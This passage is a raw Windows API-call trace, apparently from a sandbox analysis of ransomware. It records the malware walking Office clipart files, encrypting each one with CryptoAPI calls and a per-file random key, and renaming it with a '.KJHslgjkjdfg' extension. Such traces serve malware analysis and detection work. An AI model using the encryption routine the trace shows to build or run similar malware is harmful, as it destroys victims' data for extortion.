Size=0x10) returned 0x9adfd0 [0198.236] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.236] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.236] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0198.238] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.238] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.238] GetProcessHeap () returned 0x990000 [0198.239] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.239] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.239] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.239] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.239] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.239] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.239] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.239] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.239] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.239] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.239] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.239] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.239] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x128e, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x128e, lpOverlapped=0x0) returned 1 [0198.241] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1290, dwBufLen=0x1290 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1290) returned 1 [0198.241] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.241] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1290, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1290, lpOverlapped=0x0) returned 1 [0198.241] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.241] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1364, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.241] SetEndOfFile (hFile=0x130) returned 1 [0198.244] GetProcessHeap () returned 0x990000 [0198.244] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.244] GetProcessHeap () returned 0x990000 [0198.244] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.244] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196060.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196060.wmf.kjhslgjkjdfg")) returned 1 [0198.246] CloseHandle (hObject=0x130) returned 1 [0198.246] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x14ce, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0196110.WMF", cAlternateFileName="")) returned 1 [0198.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196110.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.248] GetProcessHeap () returned 0x990000 [0198.248] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.248] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.248] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.249] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0198.252] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.252] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.252] GetProcessHeap () returned 0x990000 [0198.252] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.252] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.252] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.252] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.252] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.252] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.252] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.253] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.253] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.253] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.253] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.253] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.253] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x14ce, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x14ce, lpOverlapped=0x0) returned 1 [0198.254] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x14d0, dwBufLen=0x14d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x14d0) returned 1 [0198.254] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.254] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x14d0, lpOverlapped=0x0) returned 1 [0198.254] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.254] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x15a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.254] SetEndOfFile (hFile=0x130) returned 1 [0198.257] GetProcessHeap () returned 0x990000 [0198.257] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.257] GetProcessHeap () returned 0x990000 [0198.258] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.258] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196110.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196110.wmf.kjhslgjkjdfg")) returned 1 [0198.259] CloseHandle (hObject=0x130) returned 1 [0198.259] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xef2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0196142.WMF", cAlternateFileName="")) returned 1 [0198.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196142.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.261] GetProcessHeap () returned 0x990000 [0198.261] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.261] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.261] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.261] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0198.265] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.265] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.265] GetProcessHeap () returned 0x990000 [0198.265] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.265] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.265] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.265] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.265] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.265] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.265] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.265] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.266] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.266] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.266] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.266] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.266] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xef2, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xef2, lpOverlapped=0x0) returned 1 [0198.266] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xf00, dwBufLen=0xf00 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xf00) returned 1 [0198.266] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.266] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xf00, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xf00, lpOverlapped=0x0) returned 1 [0198.266] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.266] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.266] SetEndOfFile (hFile=0x130) returned 1 [0198.269] GetProcessHeap () returned 0x990000 [0198.269] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.269] GetProcessHeap () returned 0x990000 [0198.269] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.269] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196142.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196142.wmf.kjhslgjkjdfg")) returned 1 [0198.271] CloseHandle (hObject=0x130) returned 1 [0198.271] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x739e4f00, ftCreationTime.dwHighDateTime=0x1be390f, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x739e4f00, ftLastWriteTime.dwHighDateTime=0x1be390f, nFileSizeHigh=0x0, nFileSizeLow=0x3586, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0196354.WMF", cAlternateFileName="")) returned 1 [0198.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196354.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.272] GetProcessHeap () returned 0x990000 [0198.272] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.272] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.272] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.272] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0198.274] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.274] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.274] GetProcessHeap () returned 0x990000 [0198.274] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.275] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.275] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.275] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.275] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.275] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.275] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.275] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.275] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.275] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.275] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.275] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.275] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3586, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3586, lpOverlapped=0x0) returned 1 [0198.277] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3590, dwBufLen=0x3590 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3590) returned 1 [0198.277] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.277] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3590, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3590, lpOverlapped=0x0) returned 1 [0198.277] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.277] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3664, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.277] SetEndOfFile (hFile=0x130) returned 1 [0198.280] GetProcessHeap () returned 0x990000 [0198.280] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.280] GetProcessHeap () returned 0x990000 [0198.280] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.280] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196354.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196354.wmf.kjhslgjkjdfg")) returned 1 [0198.282] CloseHandle (hObject=0x130) returned 1 [0198.282] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74cf7c00, ftCreationTime.dwHighDateTime=0x1be390f, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74cf7c00, ftLastWriteTime.dwHighDateTime=0x1be390f, nFileSizeHigh=0x0, nFileSizeLow=0x1b00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0196358.WMF", cAlternateFileName="")) returned 1 [0198.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196358.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.283] GetProcessHeap () returned 0x990000 [0198.283] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.283] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.283] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.283] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.283] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.283] GetProcessHeap () returned 0x990000 [0198.284] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.284] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.284] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.284] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.286] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.286] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, 